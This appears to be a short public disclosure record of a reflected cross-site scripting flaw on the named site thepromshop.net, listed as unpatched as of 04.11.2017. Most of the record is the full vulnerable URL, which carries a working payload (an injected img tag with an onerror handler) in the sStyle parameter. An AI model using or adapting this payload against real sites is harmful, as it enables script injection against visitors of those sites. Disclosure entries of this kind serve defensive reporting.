thepromshop.net XSS vulnerability

Vulnerable URL: http://www.thepromshop.net/sub.php?sStyle=%22%3E%3Cimg+src=x+onerror=prompt/xssposed/%3E=Search=77553=Search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8535672...